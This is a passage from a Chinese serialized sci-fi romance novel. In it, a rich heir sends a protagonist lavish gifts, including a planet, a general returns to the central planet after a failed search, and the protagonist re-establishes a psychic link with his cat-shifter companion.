“不必紧张，洛伦茨先生。”他的声音平缓又轻柔，毫无波澜，“我并无恶意，也不会强迫任何人去做不愿意的事情。今天的邀请，目的很简单。”他说着话，微微侧头看向江寻，露出一个略显亲近的笑容，“我只是希望能以私人的身份，正式认识一下夏因先生，就这么简单。” 他的脸上浮现一副遗憾的神情：“之前的见面太过匆忙，没有与夏因阁下好好相识，实在遗憾。所以今天想要让您看到我的诚意，如果我的作为让您感到了压力，还请见谅。” 他和颜悦色地与江寻说完，转向洛伦茨时，面上却微妙地多了一丝俯视的意味，“至于您，洛伦茨先生。”他嘴角轻扬，“听说在之前的各种活动中，都是您与夏因阁下一起搭档的。”说到这里，他微微停顿了一下，“我认为，应该与您这位夏因阁下的朋友好好认识一下，也感谢一下您以往对夏因的帮助。” 尽管早有猜测，但亲耳听到伊莱这番明显展露出占有欲的话语，还是让洛伦茨的心脏猛地一缩，强烈的危机感瞬间攫住了他。他下意识地挺直了脊背，眼神锐利起来，全身紧绷如临大敌。 早在匹配度测试的结果出来时，他就知道这个潜在的，如庞然大物般的姓名。可他以为，不是到了万不得已的地步，像伊莱这样的人物绝不会去选择一名B级向导作为自己的伴侣。这也是他在夏因身上投入如此多时间与精力的目的。他有信心凭借着自己的能力与其余的竞争对手们一较高下，也一直认为自己的胜算不小。 可如果他们的战场中，混入了伊莱这种级别的存在，那胜利的天平，无疑会迅速地倾斜过去。尽管他对自己十分自信，却也十分清楚，以自己目前的能力，几乎不可能在公平竞争中，胜过面前这个男人。 伊莱丝毫不在意自己的一番话语会对两人造成怎样的冲击，之后的用餐时间里，他再未谈论起任何敏感的话题，谈笑之间轻松自如，从姿态到礼仪，完美得无可挑剔。 晚餐就这样在一种微妙的气氛中结束，伊莱最后姿态优雅地捻起餐巾擦了擦嘴角，偏头过去，以眼神示意随侍在旁的劳伦斯。 “时间不早了，夏因阁下恐怕也累了，我就不多留二位了。”伊莱站起身来，劳伦斯适时地上前，将一份密封文件袋递到了江寻面前。 “今天的邀约确实有些仓促，或许打扰到了夏因阁下。”伊莱看向江寻，语气含着歉意，“非常高兴能够与您相识，希望今后还有更多的机会能够与您交流。这是一点小小的致歉，希望能够弥补我的冒昧。” 他的话语客气，却没有一点商量的余地，话毕，便再次举起还剩了一些酒液的酒杯，稍稍一敬向两人示意：“劳伦斯，安排人将我们的贵客好好的送回家吧。” “是，少爷。”劳伦斯躬身应是，随即便向着江寻二人做出了请的手势。 “两位先生，请随我来。” 江寻手中捏着那个被塞进自己怀中的轻飘飘文件袋，抬眼看向伊莱，张了张口，却不知该说些什么。 整个用餐的过程中，他几乎没怎么说过话，可几人之间的暗流汹涌却清晰地摆在了他的面前。对方的态度，让江寻觉得，他就好像真的只是邀请自己来吃一顿便饭而已。没有任何诉求，于是他也无从拒绝。 劳伦斯躬身，比来时更加恭敬地引着两人再次登上了穿梭舰。舱门关闭之前，江寻回身望去，远处的落地窗后，那道高大的身影仍伫立在原地，在他的目光投射过去时，再次示意般举了举手中的酒杯。 而后，舱室中暗了下来，伴随着轻微的轰鸣声，舰艇平稳启动，加速升入了星空之中。 回程的舰舱中一片沉寂，只有引擎运行间微弱的嗡鸣声萦绕在两人耳畔。 洛伦茨姿势僵硬地靠坐在舷窗边，面色沉郁，目光投向外间不断飞速掠过的星云，下颌线绷得紧紧的。 即使此刻已经远离了那个男人，对方从始至终的从容姿态，仍像一座沉重的山岳般，死死压在他的心头。今日所经历的一切，让他第一次如此直观地认识到，在真正的顶级权势面前，个人的天赋和努力，显得多么的渺小。 他引以为傲的一切——卓绝的实力、出众的外貌仪态、光明的未来，就这样在对方轻描淡写的态度下被一一击碎。 一种几乎令人丧失反抗意志的压迫感，令他仿佛又回到了童年，想起了曾经那段孱弱渺小，苦苦挣扎的绝望岁月。 洛伦茨的眼眶发红，权利！财富！力量！他前所未有地意识到了他与真正权势者之间的差距，自获得首席的位置之后，渐渐平息下来的野心，再次熊熊燃烧了起来！ 江寻有些担忧地看了一眼身边始终一言不发，气息沉凝的洛伦茨，暗叹一口气。捏了捏手上那份轻薄的文件袋，指尖一挑，撕开了封口上花纹繁复的火漆，从中取出一份薄薄的文件来。 眼睛刚刚扫到文件的标题，他的动作就彻底停顿了下来。 规整的联盟最高公证处钢印下，是一行简洁的大字——星球产权转让协议。 转让目标，正是他们刚刚离开的那颗被命名为“静庭”，环境改造得近乎完美的私人行星。而受让人那一栏，清晰地写着“夏因”的名字。 他的瞳孔因为这出乎意料的所谓“致歉礼”骤然收缩，下意识地抬眼看向对面静坐着的劳伦斯。 “……这太荒谬了，”江寻有些头疼，一颗星球？这远远地超出了他心目中对于“礼物”的认知范畴。他们甚至只见过两面，几乎没有什么交流，江寻也不打算在以后的日子里，与对方发展出什么关系来。手中这页薄薄的纸张，像是烫手的山芋，令他无所适从。 他皱着眉头，将文件递还给对面的劳伦斯：“我不能接受这个。” 面对着江寻的拒绝，劳伦斯却是微微躬身，并没有去接。语气仍是一如既然的温和恭谨：“夏因先生，请您务必收下这份礼物。对于凡纳家族而言，这实在算不上是什么值得一提的赠礼。” 他顿了顿，继续说着令人难以理解，对他而言却又理所当然的话语：“如果您拒绝，伊莱少爷只会觉得是他考虑不周，礼物未能让您满意。这势必会让他花费更多的时间与精力去重新挑选。” 他稍稍停顿了一下，微微抬眼诚恳地看向江寻：“少爷的时间非常的宝贵，请相信我，这个过程中，所耗费的心力与资源，其价值必定会远超这颗星球本身。并且，下一次的礼物，恐怕会更加令您为难。” 江寻拿着那份协议的手僵在了半空中，最终，化作一声无可奈何的叹息。 他终于彻底明白了伊莱今天的用意。他确实什么也没有说，什么也没有做。他只是用最简单的方式，向他，也向一旁的洛伦茨，清晰地展现出真正的豪门与他们之间，那几乎令人绝望的量级上的差距。 他根本无需做任何多余的事，只要让旁人窥见他真实生活的一角，便足以击溃这世上大多数的对手。 舱室中再次安静了下来，其中坐着的两人，心中却久久无法平静下来。 穿梭舰在寂静中飞速前行，离中央星越来越近。 瞥向舷窗外的江寻，看着侧方正在飞速远离的近地空港，终于疑惑地打破了沉默。 “劳伦斯先生，我们这是要去哪里？”江寻开口问道。 “夏因先生，我们现在正在前往位于哨兵岛上方的私人空港。”劳伦斯微笑着解释道，“少爷之前特意叮嘱过，我们今日的邀约较晚，为了避免您受到不必要的周转劳顿，能够早点回家，我们将在私人空港降落。那里有专属通道可以直达圣所区域，您无需再经由星枢群岛的空港中转，可以节省不少时间。” 江寻再次愕然，位于哨兵岛上空的私人空港？ 洛伦茨也被这消息吸引到了视线，扭头看了过来。 “可是我们来时不就是走的星枢群岛的路线吗？”江寻下意识地问道。 “非常抱歉。”劳伦斯又是深深一躬，“因为今日的邀约实在过于仓促，调配移动空港的手续缓慢了一些，在接您来的时候，空港还没有到达指定的位置，希望您能原谅。” 这番话，再次令江寻无言以对。 且不说，在安全性管制得如此严格的哨兵岛头顶上，要审批下来一座私人空港需要多大的权限和能量。单说为了吃一顿饭，就专门调配一座移动空港过来，这其中的奢靡，简直让人难以想象。 进入近地轨道后，穿梭舰的速度再增，不多时，便开始减速平稳降落。 舱门打开，一座规模不大，设计简洁的小型空港就呈现在了几人面前。 江寻和洛伦茨两人随着劳伦斯走下金属廊桥，四周灯火通明却异常安静，所有设施看起来都崭新得过分，几乎看不到使用过的痕迹。 而廊桥下方，一名身着笔挺制服，气质硬朗的中年男性早已静立在一旁等候，见到劳伦斯后，立即上前了一步，看向江寻两人的眼神，锐利中带着沉稳。 “夏因先生，”劳伦斯向江寻介绍道，“这位是陈靖舰长，曾服役于联盟第六军团，拥有超过七年的驾驶经验，精通联盟现有的绝大多数型号的载具操作，同时，还有B级的哨兵等级，精通擒拿、格斗等徒手战技，对常用枪械也有一定了解。他的详细信息与联系方式，我已经发送到了您的终端。” 接着，劳伦斯又说出了一句让江寻再次愣住的话：“您乘坐的这艘穿梭舰、这座空港、以及稍后即将送您回家的那辆悬浮车，均已过户至您名下。陈靖舰长今后将会负责您的出行，担任您的专属司机与保镖。凡纳家会承担他的全部薪酬福利，请您无需顾虑，尽情差遣。” 他微微躬身，语气仍是如出一辙的温和恭谨：“今后您有任何出行需要，无论何时何地，都可以直接联系陈靖舰长，他会第一时间为您提供服务。” 说完，劳伦斯也不再给江寻任何拒绝的机会，再次行礼：“那么，我的任务已经完成，就此告辞。祝您愉快，夏因先生，洛伦茨先生。” 话落，他干脆利落地转身，登上了旁边已经启动了引擎的另一艘小型穿梭舰，舱门一关，便迅速地升空离去。 留下被这一连串的礼物震住的江寻与洛伦茨站在原地，面面相觑。 身旁，那位神情一丝不苟的陈靖舰长仍以最为标准的军姿站着，等候着他的命令。空寂无人的崭新空港中，回荡着那渐渐远去的引擎轰鸣。 “可以了，就到这里吧。”几分钟后，悬浮车在外区临时公寓区域停了下来。这辆悬浮车应该加装了某些特殊配置，运行起来声音非常轻微，速度却比寻常的跑车还要快上许多。 “这车子……”站在路口，江寻转身看着面前这艘与周围的环境格格不入的豪车，面色为难。作为临时公寓，这里可没有可供悬浮车停靠的区域。 “夏因先生不必多虑，少爷已经考虑到了您的情况，管家也安排好了我的住所与专属的车库。我平日会在暗处作为保镖保护您的安全，当您需要的时候，才会现身，请您不必过多烦恼。那么，我今天就先告辞了。祝您晚安！”陈靖一板一眼地行礼后撤，驾驶着悬浮车无声滑入了夜色之中。他还要将洛伦茨送往哨兵学院的公寓区。 车子的身影渐渐消失在街道尽头，一阵冷风吹过，熟悉地陈旧气息掠过江寻鼻尖，终于将他带回了熟悉的现实。 他的手中捏着那份轻飘飘的星球转让协议，终端里躺着陈靖的联系方式，回想起今天发生的一切，只觉得恍如梦境，心情复杂难言。 脚步沉重地迈步，踏入了自家大门，他重重将自己摔进了简朴的单人床，深深叹了一口气。 越发复杂的局面与深不可测、目的不明的伊莱，令他越发有种身不由己的感觉。 此时此刻，他无比怀念那个无人的荒岛与当初简单的日子。 江寻从贴身的口袋中拈出那枚已经被摩挲得越发圆润的铭牌，透过窗棂望向天边闪烁的星辰。 小树……你什么时候才能再次回到我身边呢？ * 另一边，坐在疾驰的悬浮车上的洛伦茨，面庞被车窗外映照进来的霓虹灯光，切割成光怪陆离的色块。 他的眼睛久久凝望向窗外，眸中神色晦暗不明。 今晚的所见所闻，像是一盆冰水，将他因击退了其他所有高级哨兵，以一介白身，留在江寻身边而生出的些许自得，浇灭得彻底。 可是，此时此刻，他却并不怨恨让他被迫看清现实的伊莱，反而由衷地感到感激。 是的，他怎么可以遗忘呢？对于他这样本就一无所有的人而言，原地踏步就等于死亡，他必须要拼尽一切地去争去抢，才能获得他所想要的一切。 洛伦茨的眼中光影明灭，终于，低头拨通了一个通讯。 “喂，帮我去查一个人……对，就是最近疯传的那个……新的S级向导。”—— 作者有话说：预告！明天开始猫猫大量出现！普大喜奔！[哈哈大笑] 第150章 广袤无垠的星海中， 庞大的镇魂号主舰，如同一只沉默的巨兽，静静盘踞在通往中央星的最后一段航道的最后一颗行星旁。 陆厌离静静高坐于舰桥中央的指挥椅上， 眼睛一眨不眨地盯着前方最大的光屏。 屏幕上， 代表着航线节点的光点， 只剩下了最后一颗仍在执着地闪烁着光芒。 一阵低鸣之后，舰载精神波分析仪停止了运作，前方操作员面前的屏幕上， 各色数据开始如雨般飞速滚落下来。 陆厌离的身子不自觉地微微前倾， 苍白的手掌紧紧摁在金属扶手上，手心因为紧张，已经渗出了些潮湿的汗意。 操作员能感受到凝注在自己背后的那道沉重的目光，他看着面前的扫描结果，艰难地咽下一口口水，念出最终的检测结果：“桑坦星第七节点， 深度扫描完成， 异常精神残留分析完成， 匹配度……0.6%，已排除。” 随着他的话音落下， 庞大的星图上，最后一颗光点也随之熄灭了下去， 至此，所有的航线节点全部化为一片无生命的死灰。 最后一丝希望彻底破灭， 整个舰桥上陷入一片凝固的死寂。所有人都僵在座位上，不忍回头去看自家长官，骤然灰败下去的神情。 半晌，副官塞西尔终是不忍看着仍然死死盯着星图的陆厌离， 上前一步，尝试劝慰：“少将，也许是我们一开始规划出来的路线还有所遗漏，对方并没有走这附近的航路……” 说到一半，他的话便接不下去了。 这一条路线早就经过了多次修正，上面几乎覆盖了绝大多数从十字星锚点前往中央星航路上，所需经过的星球与枢纽。 对方几乎不可能完全避开这条路径，却不留下一丝痕迹。 更何况……他们已经以极慢的速度航行了许久了，不管是能源储备，还是战士们的精神状态，都已经消耗得差不多，接近极限了。 就连第八军团的军团长都有些扛不住来自上面的压力，在前天委婉地提醒了少将。他们实在不能再继续这样漫无目的地搜索下去了。 陆厌离的目光从彻底黯淡下来的星图上移开，泛着些浅灰色的眼睫微微垂下，在苍白的皮肤上投下一小片阴影。 他一动不动地坐着，周身的气息渐渐凝滞下来，压抑而灰暗。 塞西尔看着他的模样，无声地长叹了一口气，后退了一步，沉默地陪伴在自家长官的身边。 就在舱室中的空气几乎完全陷入凝固之时，陆厌离手腕上的终端突然震动了起来，铃声急促，仿佛映照出通讯器另一端的人，那咄咄逼人的态度。 陆厌离的眼睛终于动了，他面无表情地向下一瞟，果然，在屏幕上看到了一个熟悉的号码。指尖轻划，他拒绝了全息影像，只接通了语音通话。 代表通讯中的绿灯亮起，终端两头却无人开口，陆厌离几乎能够想象到，对方因为被自己拒绝了视讯通话，而压抑着怒火的模样。 三秒后，冰冷的声音终于响了起来，压抑着沉沉的怒火：“十天过去了，你闹够了吗？不要一再挑战我的耐心，停止你那无意义的搜寻，立刻给我回来！” 话音未落，通讯已□□脆利落地切断。 陆厌离沉默地闭上眼，指尖在冰冷的金属扶手上逐渐收紧。 在找不到江寻的此刻，曾经觉得万分重要的来自父亲的训斥与要求，在他心中竟也变得无足轻重。 他的心神因为最后的希望破灭，开始混乱了起来，无数乱七八糟的念头纷至杳来。 为什么会找不到呢？江寻……他是在故意躲着我吗？他不愿再见我？他无法原谅我曾经对他的欺骗？可是……上一次，我明明感受到了来自他的精神力，虽然不知道他是怎么做到的，可这不就代表着他还是在乎着我的吗？ 陆厌离的表情因为思绪地变化飞快变幻着，一会儿委屈难过，一会儿又升起一丝希冀。 他再次抚上自己的后腰，此时此刻，那片毫无痕迹的皮肤，仿佛刺痛了起来。 江寻，你到底……在哪里？ 漫长的寻觅，与求而不得的痛苦，几乎要击溃他一直以来的克制。陆厌离紧紧闭上双眼，深吸一口气，试图平复下心中翻腾的情绪。 不论是主动的搜索，还是拜托他人的寻找，全都一无所获。 最后一个近乎羞耻的念头，终于浮上他的脑海。 沉吟片刻，他终于下定了决心。 再度睁开眼时，眸中只剩下军人特有的冷硬与果决。 “传令下去，”他的声音清晰地在寂静的舰桥上响起，“所有单位，结束当前搜索任务。整理航行日志，清点物资与能源储备。一小时后，全舰启程，返航中央星。” 塞西尔精神一振，高声应道：“是！长官！” 随即，命令被迅速传达了下去，庞大的舰队开始有序运转起来，航向在重新校准后被调整过来，空寂的星域之中，无数幽蓝色的引擎光开始接连亮起，伴随着一道无声的波动震响，镇魂号及其麾下四支护卫舰队，终于在数月之后，正式踏上归途。 * 中央星永远是消息流传速度最快的地方，还不到一天的时间里，关于陆厌离将军即将率军返航，重新回归公众视野的消息，便如同一粒投入水面的石子，在中央星最高层的圈子里激荡起层层涟漪。 在真正的顶级势力眼中，他不仅仅只是一位强大的顶级哨兵，联盟将军，更是近几年来，如日中天的陆家，在军方的势力代表，是陆家最锋利的那一把刀。他的回归，势必会对当前的局势产生巨大的影响，所有的眼睛都紧紧地聚焦于此，中央星中，无数命令被匆匆下达了下去，于是，关于他的消息形成的波澜，也开始迅速向着下面的阶层，层层扩散了下去。 作为与联盟最高层联系紧密的圣所，也第一时间受到了这股风波的影响。 距离上课的时间还很早，星环大厅中，便已经坐了不少学员，众人聚成三三两两的圈子，前一个关于新的S级向导的消息，热度还未消退，便又开始讨论起这条最新传来的消息。 “听说了吗？陆少将马上要回来了！” “真的？！就是那个S级的陆厌离？之前不是传说他堕化值爆表，已经……” 一个消息灵通的男学员不屑地撇了撇嘴：“你这都是多久之前的消息了！他痊愈的消息早就传出来了，这次远征是他康复后的第一个任务，听说仗其实早几个月前就打完了，据说是他在路上找什么东西，一直拖到了现在。” “真的假的？他当时真的堕化了？堕化之后还能被救回来吗？” “不知道啊！这种最顶层的机密，我哪能知道啊！可能当时只是谣言吧？要不就是愈灵殿用了什么特殊的手段？不知道啊……总之他能回来就是好事！” “刚痊愈就又被派出去做任务了吗？之前不是听说……”说话的学员一顿，小心地看了看四周，这才压低了声音接着说，“听说他出任务的频率高得吓人，堕化值上涨得太快，不得不靠休眠来延缓崩溃的速度。这才好了多久，马上就又开始这样用他了？这也太惨了吧……” “嘘！这话你也敢说！”另一个学员“啪”一下打上他的后脑勺，“谁不知道这后面有猫腻啊！这里头水深着呢，肯定是顶头那些大人物们在背后做了什么！” “打住打住，你还说别人？你自己不也在说！换个话题……话说，他到底在找什么啊？到他这个地位的人，想要什么得不到啊，还需要耗费这么多时间亲自去找？连回军部述职都推迟了……” “这就没人知道了……反正现在说是马上回来了，舰队已经进入中央星域了，预计明天就抵达空港了。” “那估计到时候去接他回来的人肯定很多吧！自从他任务的消息传开以后，民间对他的认同感一下子高了好多，现在好像有好多人崇拜他呢！” “是啊是啊，要不我们明天也去凑凑热闹……” 江寻坐在他惯常的座位上，看似平静地浏览着面前感应板上的论文，耳朵却一直仔细捕捉着关于陆厌离的每一句讨论。 听到他即将抵达中央星时，心脏终于控制不住地加速跳动了起来。 他敛下眸子，掩盖住其中忍不住流露出来的思念，紧贴在胸口的那块坚硬铭牌，仿佛又一次滚烫了起来。 * 随着“咔哒”一声轻响，临时公寓的大门被一双大手闭合上。 简单的背包被扔在了小沙发上，失去了主人关注的目光。 江寻在床沿坐下，目光投向窗外闪烁着点点星辰的夜空，视线似乎穿越了遥远的距离，落在了那艘曾有过一面之缘的巨大舰船上。 沉吟片刻，终于忍不住地叹出口气来，盘膝坐上了床面，闭上双眼，摒弃杂念，意识缓缓下沉，浸入了那片浩瀚的精神力海洋之中。 刚经历过黑街的事件没两天，又紧接着经历了三天的协同训练，得不到补偿的情况下，他的精神力还无法完全恢复过来。可是今天得到的消息，让他忍不住想要看看小树。 那道“门”自从第一次被撞开之后，便一直沉寂了下来，今天，江寻下定决心，再次尝试打开那扇曾经连接起彼此的精神通道。 精神海随着意识的沉入缓缓泛起了波澜，苍茫大海流动了起来，渐渐活跃，精神力被激活，纷纷自水面之下跃了出来，顺着江寻的意念，向着那个记忆中的那个“方向”涌流了过去。 大量的精神力弥散在江寻身周，从漫无目的，到渐渐找到方向。 虚空中的那道“门扉”似有若无，无形无质，又如一根坚韧的线，紧紧连接着那道虚幻的精神通道两端。 江寻小心地调动起精神力，开始尝试重新开启那道门扉。 第一次尝试，精神力如同在虚无中游走，什么也没有触到，便散逸了开来。 第二次，他仔细回想着上一次那种玄妙的感觉，试图捕捉到那一闪而逝的灵感。 第三次，他缓缓将精神力“推”了出去，在冥冥中感知到的那个方位摸索、搜寻。 第四次……第五次…… 随着时间的流逝，精神力被持续地消耗着，江寻的额头慢慢渗出了细密的汗珠，太阳穴传来隐隐的胀痛感。 这种跨越了无尽星海的精神链接，果然如他所想一般，难以成功。 不过，对于此，他早有心理准备。深吸一口气，让那少许的焦虑情绪平息下来，脑海中，只想着那最初相遇时，与小树相依为命的那段快乐时光。 精神力依循着本能的预感缓缓探出，比开始时更加轻柔而细腻。以强烈的情感链接为引，去感知，去探索，去共鸣。 不知过了多久，就在他的精神力已经消耗了大半时，冥冥之中，终于传来一丝极其细微，却又无比清晰的共鸣感。 仿佛那把钥匙，终于找到了它的锁孔，轻轻插了进去。 下一秒，在他的“心眼”之中，一扇无形的“门”渐渐浮现出了清晰的轮廓。 心念一动，“钥匙”轻轻转动，下一瞬，“门扉”轰然洞开！ 强大的吸引力骤然袭来，他的感知被猛地抽离出去，顺着那股强大的牵引力，堕入一片黑暗之中。 急速的下坠感传来，他的脑子一晕再一震，当面前的视野再次清晰时，眼前出现的，已不再是他那熟悉的公寓。 冷硬光滑的金属制墙壁，围出一个简洁的舱室空间。整个空间中，拥有个人痕迹的东西很少很少，大部分仍然保持着制式的标准样式。 一桌一椅，一床一柜。 唯一看到的几样稀少的个人物品，与这里的环境格格不入，反而给他带来一种熟悉的感觉，隐隐在哪里见到过。 意识身处的身体，视线的高度较低，身下柔软，身体的主人似乎正坐在床沿上。 视野晃动了一下，缓缓下移，江寻的目光顺着视线的方向，不由自主的移动，落在他放在身前的一双骨节分明的苍白手掌上。 瘦削的手指，此刻正在珍惜地抚摸着搭在他大腿上的一件……白色衬衣。 江寻一眼便认了出来，那是他以前常穿的一件衬衫。衬衫的胸前，因为总是趴着一只粘人的小猫，被它的爪子勾磨得有些脱丝。他原以为这些衣服，应该是遗落在了当时那颗无人星上，却不料被他带走了。 那双手一遍遍从那衬衫胸前摩挲而过，仿佛在回忆着曾经趴伏在上面的触感。 随后，那人转过了身，把衬衫平铺在了身后的床榻上，整个人跟着贴伏了上去，紧紧地偎入冰冷的布料之间，肩膀抖动着，将鼻尖深深埋了下去，不住地左右嗅闻，仿佛仍然在绝望地汲取着那早已消失殆尽的气息。 压抑的，破碎的呼吸声越来越大，渐渐化为急促的喘息，无声的恸哭令空气中弥漫开一种强烈的思念与痛苦，浓烈到几乎透过那道微弱的精神链接，灼痛江寻的感知。 紧接着，搭在衬衫上的苍白手指倏地变得虚幻起来，江寻眼前，视角再变，光洁的手臂缩小再缩小，从皮下生出长长的灰色毛发来。 修长的手掌蜷缩了起来，化为粉嫩的肉垫，锋利的指甲一瞬弹出，又在下一刻被小心地收了回去。 身上所有的衣服“啪嗒”一声滑落下来，堆叠在了床面上。 这个身体，化为了一只灰色的，毛茸茸的小猫，从沉重的衣物下钻了出来。 小树……江寻心中有些酸涩，更多的却是久违的喜悦。只可惜，此刻他的心绪，却无法传递给思念成疾的小猫。 下一刻，小猫动了起来，他用爪子扒拉着那件衬衫，试图把布料全部团起来，而后，四肢并用，把整个身子都埋了进去，蜷缩出一个颤抖的毛球，只露出了一点脊背上的背毛。 他似乎为了整个蜷缩进衣服堆里，特意拟化得更小了一些，小小的身子随着呼吸轻轻颤动着，只有那么一团，紧紧地将自己埋进衬衫的包裹之中，仿佛被那个唯一给予过他温暖与安宁的人，重新抱进了怀里。 一点细弱的，委屈的哼唧声，断断续续在舱室内响起。 江寻被他这幅模样搞得心脏酸痛，心疼得厉害。 想了想，他再次尝试回忆起上一次链接时的感觉，试探着，将自己所剩不多的精神力，顺着此刻这道脆弱的链接，缓缓地输送过去。 “门”打开了以后，后续的操作简单了许多，江寻只尝试了一次，便顺利成功了。 只见那蜷缩在衬衫里的灰猫突然停止了呜咽，浑身猛得一僵，大大的绿眼睛瞪得滚圆，难以置信地扭过头去，看向自己的尾根。 果然，下一刻，半片鲜红的图纹再次逐渐浮现在了他的尾根处。一点熟悉至极的气息，缓缓泛起，温暖的精神力量，从那半片图纹之中涌了出来，一流入自己的身体之中，便欢呼雀跃着，与自己本身的精神力融为了一体。 “……喵？”极轻极软的一声呜咽溢出了喉咙，小猫不敢置信地仰起了头，猛得环顾四周，试图寻找那不知名的来处，却一无所获。 他瞬间激动了起来，倏然站起了身，喉咙里发出急切的呼噜声，焦急地在床上打着转，想要找出那无形力量的来源。 他什么也没有看到，但更多温暖的精神力持续地流入了他的体内，这些精神力顺着经络迅速流遍他的全身，就如同一个温暖而无声的拥抱。 小猫激动得甚至踉跄了一下，近乎贪婪地感受着这久违了的气息，口中溢出的喵叫声，越发急促，混合着巨大的委屈与惊喜。 可惜，他的呼唤无法阻止这股精神力渐渐变得稀薄下来，紧接着，随着精神力的逝去，链接开始剧烈波动了起来，江寻感到了一阵强烈的晕眩，同时，后心处传来一股熟悉的拉扯感。 小猫似乎也察觉到了链接即将崩溃，身形猛得一晃，开始迅速拉长。 后心的拉力越来越大，江寻脚下一空，意识再次向着那道“门”的方向倒飞了起来。 在链接彻底中断的前一秒，他清晰地看到，那只身形虚幻的小猫，留在原地的影子开始抽长、变形，渐渐出现人形的轮廓。 “江……寻……？”一个沙哑的、带着剧烈颤抖的男声模糊地响起。 视线彻底陷入黑暗的前一瞬，一个属于男性的苍白脊背骤然展现在了他的眼前。光滑的皮肤，劲瘦的腰线，以及烙印在他后腰上，正在散发出红色微光的半片复杂图纹。 大门轰然关闭了起来，江寻的意识被砸回了身体里。他猛地向后倒去，跌落进被褥之间。 涔涔冷汗遍布额头，面色霎时苍白，大脑因为精神力的过度消耗，嗡嗡作响，眼前一阵阵地发黑。 江寻按住太阳穴，急促地喘息着，眼底却亮得惊人，嘴角畅快地勾起，露出一个如释重负的笑容。 真的可以……自主打开那道“大门”，建立起链接，那一头，就是他的小树。 以后，只要他的精神力足够，就能够重新建立起两人之间的链接。而且，可以预见到的是，在以后的日子里，他一定可以通过能力的提升，或者多次的练习，再度开发出这道“门扉”更多的用法。 即使他猜测的S级哨兵陆厌离，并不是他的小树，他以后也能通过这道“门扉”将他的小树重新找回来！ 这种将命运完全掌握在自己手中的感觉，令江寻的心胸豁然开朗起来，最近的一段日子里，被各方追逐逼迫的郁结，一扫而空。 靠躺在被褥上，江寻再次抬头望向明亮的夜空，心境已经截然不同。 下一步，就是去确认一下那个人的身份了。 江寻在心中默念着，不要着急，很快了，很快就能再见！—— 作者有话说：耶耶！开心地开启重逢事件！转圈圈~~[撒花]《 》 150-155 第151章 中央星星枢群岛上空的空港接驳大厅里， 此刻人声鼎沸。 联盟官方在昨天下午发布了正式公告，宣布联盟少将陆厌离及其所辖第八军团四支舰队，已经完成了镇压任务， 将于今天早上正式返航中央星。 公告一经发布， 便在中央星上掀起了一阵波澜。 从昨天下午到今天早上， 几乎所有人谈论的话题中，都有着他的身影，众人歌颂着他的功绩， 崇拜着他的强大， 庆幸着他的重新康复，同时也对他那传奇般的经历充满了好奇与探究。 今天一早，便有许多民众，自发地前往了星枢群岛，专门乘坐轨道电梯登上空港，去迎接他的回归。 星网和各大媒体自然不会错过这波巨大的流量， 早就从联盟政府处获得了许可， 开通了星网全程直播。 作为陆厌离头号迷妹的梅丽， 岂会错过这番盛况？ 一大早便搭乘了最早的一班飞艇奔赴了现场，又在第一时间拨通了江寻的通讯号， 为他实况转播此时的盛景。 透过人头攒动的大厅，巨大的观景窗外， 是一片漆黑的宇宙背景。远远地，能看到数十个燃着幽蓝电光的巨大黑影， 正在缓缓靠近了过来。 尖锐的舰首破开黑暗的幕帘，出现在探照灯光下的那一刻，全场顿时沸腾了起来。 梅丽的声音也透过终端传了过来，巨大的分贝几乎要刺破江寻的耳膜：“夏因向导你看到了吗！是镇魂号！镇魂号进港了！天啊， 我第一次见到真的镇魂号！它比新闻图片里还要壮观！” 江寻将手腕拿远了一些，目光却没有从全息光屏上移开。透过那方小小的屏幕，他看着镇魂号如同一座巨大的金属山脉，缓缓滑入了停泊位中。 随后，伴随在其侧翼的护卫舰队，依此排着队鱼贯而入。 观景窗前黑压压的人群，随着舰艇的泊入不住地欢呼着，那巨大的声浪，即使透过终端也能让人感受到那份几乎要掀翻屋顶的热情。 随着幽蓝色的引擎光渐次熄灭下来，舰桥“咔嚓咔嚓”自动伸展出来，连接上了泊位上的通道出口，一行人影沿着通道渐渐走近。 江寻滑动一下窗口，将另一个直播的镜头拉到最大，清晰的人影顿时出现在了他的眼前。 陆厌离走在众人最前方。 依然是他曾经在科里亚星见过的那身黑色军服，也许是为了前往军部述职，今天的他在身上佩上了肩章与胸章，耀眼的金色流苏垂挂在肩头，随着走路的动作轻晃着，为他疏冷的气质里增添了一丝柔和。 他一步步走入众人的视野中，军帽的帽檐在他上半张脸上投下阴影，隐隐地遮住了他的眉眼。只能看到苍白流畅的下颌线，和紧抿着的薄唇。 不知是不是错觉，江寻总感觉他好像微微噘着嘴，从他脸上透出些蔫嗒嗒的委屈样来。 当他与随同的副官、随从们彻底出现在舰桥灯光下的时候，整个空港中的欢呼声瞬间达到了顶峰，无数鲜花与彩带被抛向了空中。 他单手抚胸，微微鞠躬，向民众们致意，姿态是从骨子里透出的优雅克制。于是，更加热烈的欢呼声便再次爆发了开来。 江寻的指尖无意识地在全息影像上描摹了一下，他看着屏幕上那张气质有些疏淡阴郁，没什么表情的脸，却很难和脑海中浮现的，昨夜那只将自己深深埋进旧衬衫里，抖着身子发出呜咽的灰色小猫重合起来。 梅丽还在终端的那头兴奋地尖叫着，与现场的人群一起疯狂呼喊着他的名字。 “陆将军！看这里！” “欢迎回家，将军！” “将军，你是最强的！” 陆厌离抬起头来，目光扫过人群，颔首致意，却并未因为人们的热情在任何一处多做停留，一路向着外面走去。 很快，一队身着军部制服的士兵们迅速上前，隔开了周围过于激动的人群，护卫着他登上了一旁早已等候在这里的军用悬浮车。 “啊……将军要走了，我还没看够呢！”梅丽的声音里充满了失落与不舍，可随即又攥着拳头振奋了起来，“没关系，将军能平安回来就好！他看起来好像有点累，看来这一路上走得也不算轻松，还是让将军赶快去军部述完职，回家好好休息吧！” 江寻也低低应了一声，目光仍追随着全息影像中的那个身影。 陆厌离在上车前，忽地停顿了一下，若有所觉地回头看了过来，朝着周围的人群环视了一圈，却好似没有找到他想看到的东西。江寻注意到，他的嘴角似乎又往下撇了一些，这才回身弯腰，坐进了车内。 车门无声地滑落下来，直至彻底看不到他的身影。 直播的镜头失去了目标，转而转向了周围欢迎的人群，主持人开始用激动的语气描述这场盛大的迎接，讲述着这位浴火重生的联盟之星。 通讯器的那头，梅丽意犹未尽地叹了口气：“好啦，结束啦！我也要回去准备下午的课程了，夏因向导，回头见！” 说着，漾起一个灿烂的微笑，与江寻道别，切断了通讯。 江寻坐在星环大厅中，身边的同窗们也在激动过后，陆续回到了自己的座位上。 江寻扭过头去，越过高大的窗户，望向星枢群岛的方向，脑子里，仍然残留着刚才那人最后望过来的目光。 终于回来了。 接下来，就是找机会见到他，亲自确认了。 